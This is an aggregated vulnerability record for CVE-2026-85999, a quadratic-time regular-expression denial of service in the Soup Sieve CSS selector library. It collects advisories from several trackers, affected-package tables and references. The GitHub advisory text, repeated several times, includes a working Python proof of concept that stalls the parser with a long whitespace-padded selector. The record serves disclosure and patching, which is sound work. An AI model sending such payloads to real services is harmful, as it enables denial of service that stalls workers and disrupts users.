CVE-2026-85999
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.3
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
CVE-2026-85999- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2026-81690
5.3
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
EUVD-2026-81690- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-j934-xhv5-fg8f
5.3
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Summary
Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.
Trust model (Q0)
The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.
Root cause (exact anchors) — src/soupsieve/css_parser.py
# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset
# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern) # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)
WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.
The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.
Reproduction environment (discipline #12 — published artifact)
- git HEAD
751c57b(2.9,PYTHONPATH=src):cd src && python3 ../poc/poc_redos_ws_trim.py. - Published PyPI
soupsieve 2.8.4(freshuv pip install soupsieve beautifulsoup4):cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py→ same O(n²) (evidence:poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_ws_trim.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def ct(sel):
t0 = time.perf_counter()
try:
sv.compile(sel); st = "ok"
except Exception as e:
st = type(e).__name__
return time.perf_counter() - t0, st
print(f"soupsieve {sv.__version__}\n")
print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
dt, st = ct("a" + " " * n + "b")
print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]")
payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.
Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)
soupsieve 2.9
VALID selector 'a' + ' '*n + 'b' (descendant…
- Record
GHSA-j934-xhv5-fg8f- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
NVD
5.3
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
CVE-2026-85999- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
OSV
5.3
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
CVE-2026-85999- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-1333, CWE-400
- Updated
- 2026-11-06
OSVDEBIAN-CVE-2026-85999
5.3
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
DEBIAN-CVE-2026-85999- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
Show 8 moreShow less
OSVGHSA-j934-xhv5-fg8f
5.3
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Summary
Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.
Trust model (Q0)
The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.
Root cause (exact anchors) — src/soupsieve/css_parser.py
# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset
# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern) # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)
WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.
The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.
Reproduction environment (discipline #12 — published artifact)
- git HEAD
751c57b(2.9,PYTHONPATH=src):cd src && python3 ../poc/poc_redos_ws_trim.py. - Published PyPI
soupsieve 2.8.4(freshuv pip install soupsieve beautifulsoup4):cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py→ same O(n²) (evidence:poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_ws_trim.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def ct(sel):
t0 = time.perf_counter()
try:
sv.compile(sel); st = "ok"
except Exception as e:
st = type(e).__name__
return time.perf_counter() - t0, st
print(f"soupsieve {sv.__version__}\n")
print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
dt, st = ct("a" + " " * n + "b")
print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]")
payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.
Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)
soupsieve 2.9
VALID selector 'a' + ' '*n + 'b' (descendant…
- Record
GHSA-j934-xhv5-fg8f- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-1333, CWE-400
- Updated
- 2026-11-02
OSVPYSEC-2026-4171
5.3
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Summary
Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.
Trust model (Q0)
The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.
Root cause (exact anchors) — src/soupsieve/css_parser.py
# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset
# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern) # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)
WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.
The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.
Reproduction environment (discipline #12 — published artifact)
- git HEAD
751c57b(2.9,PYTHONPATH=src):cd src && python3 ../poc/poc_redos_ws_trim.py. - Published PyPI
soupsieve 2.8.4(freshuv pip install soupsieve beautifulsoup4):cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py→ same O(n²) (evidence:poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_ws_trim.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def ct(sel):
t0 = time.perf_counter()
try:
sv.compile(sel); st = "ok"
except Exception as e:
st = type(e).__name__
return time.perf_counter() - t0, st
print(f"soupsieve {sv.__version__}\n")
print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
dt, st = ct("a" + " " * n + "b")
print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]")
payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.
Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)
soupsieve 2.9
VALID selector 'a' + ' '*n + 'b' (descendant…
- Record
PYSEC-2026-4171- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-85999
5.3
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
UBUNTU-CVE-2026-85999- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
OSVAZL-103322 No score
CVE-2026-85999 affecting package python-soupsieve 2.6-3
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
- Record
AZL-103322- Updated
- 2026-11-05
OSVopenSUSE-SU-2026:11866-1 No score
python313-soupsieve-2.9.2-1.1 on GA media
These are all security issues fixed in the python313-soupsieve-2.9.2-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11866-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22149-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues:
- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex
RE_WS_ENDcan lead to DoS (bsc#1281119). - CVE-2026-86000: quadratic complexity when running the
IDENTIFIER/VALUEselector sub-patterns can lead to a DoS (bsc#1281120).
- Record
openSUSE-SU-2026:22149-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24267-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues:
- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex
RE_WS_ENDcan lead to DoS (bsc#1281119). - CVE-2026-86000: quadratic complexity when running the
IDENTIFIER/VALUEselector sub-patterns can lead to a DoS (bsc#1281120).
- Record
SUSE-SU-2026:24267-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:4365-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues:
- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex
RE_WS_ENDcan lead to DoS (bsc#1281119). - CVE-2026-86000: quadratic complexity when running the
IDENTIFIER/VALUEselector sub-patterns can lead to a DoS (bsc#1281120).
- Record
SUSE-SU-2026:4365-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
soupsievePyPI |
before 2.9.0 | 2.9.0 |
python-soupsieveAzure Linux:3 |
through 2.6-3 | None known |
soupsieveDebian:12 |
All versions, plus listed versions 2.3.2-12.4-12.4.1-12.4.1-22.5-1 Show 6 moreShow less2.6-12.7-12.7-22.8.1-12.8.3-12.8.4-1 |
None known |
soupsieveDebian:13 |
All versions, plus listed versions 2.7-12.7-22.8.1-12.8.3-12.8.4-1 |
None known |
soupsieveDebian:14 |
All versions, plus listed versions 2.7-12.7-22.8.1-12.8.3-12.8.4-1 |
None known |
soupsievePyPI |
before 2.9.0, plus listed versions 0.40.50.5.10.5.20.5.3 Show 45 moreShow less0.61.01.0.11.0.21.0b11.0b21.11.21.2.11.31.3.11.41.51.61.6.11.6.21.71.7.11.7.21.7.31.81.91.9.11.9.21.9.31.9.41.9.51.9.62.02.0.12.12.22.2.12.32.3.12.3.22.3.2.post12.42.4.12.52.62.72.82.8.12.8.2 |
2.9.0 |
python-soupsieveSUSE:Linux Enterprise Server 16.0 From an advisory covering 2 CVEs |
before 2.6-160000.5.1 | 2.6-160000.5.1 |
python-soupsieveSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 2 CVEs |
before 2.6-160000.5.1 | 2.6-160000.5.1 |
python-soupsieveSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 2 CVEs |
before 2.5-150600.3.6.1 | 2.5-150600.3.6.1 |
soupsieveUbuntu:20.04:LTS |
All versions, plus listed versions 1.9.2+dfsg-2ubuntu11.9.4+dfsg-11.9.5+dfsg-1 |
None known |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
soupsieveUbuntu:22.04:LTS |
All versions, plus listed versions 2.2.1-22.3-12.3.1-1 |
None known |
soupsieveUbuntu:24.04:LTS |
All versions, plus listed versions 2.4.1-22.5-1 |
None known |
soupsieveUbuntu:26.10 |
All versions, plus listed versions 2.8.3-12.8.4-1 |
None known |
soupsieveUbuntu:26.04:LTS |
All versions, plus listed versions 2.7-22.8.1-12.8.3-1 |
None known |
python-soupsieveopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 2.9.2-1.1 | 2.9.2-1.1 |
python-soupsieveopenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 2.6-160000.5.1 | 2.6-160000.5.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-85999 is a medium vulnerability (CVSS 5.3) in Facelessuser Soupsieve, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in soupsieve 2.9.0.
References
github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f
github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda
github.com/facelessuser/soupsieve/releases/tag/2.9
nvd.nist.gov/vuln/detail/CVE-2026-85999
github.com/advisories/GHSA-j934-xhv5-fg8f
github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85999.json
Show 11 moreShow less
security-tracker.debian.org/tracker/CVE-2026-85999
github.com/facelessuser/soupsieve
pypi.org/project/soupsieve
suse.com/support/update/announcement/2026/suse-su-202624267-1
bugzilla.suse.com/1281119
bugzilla.suse.com/1281120
suse.com/security/cve/CVE-2026-85999
suse.com/security/cve/CVE-2026-86000
suse.com/support/update/announcement/2026/suse-su-20264365-1
ubuntu.com/security/CVE-2026-85999
cve.org/CVERecord?id=CVE-2026-85999
Left out here: 2 versions and the rest of 3 source descriptions. The JSON record has them.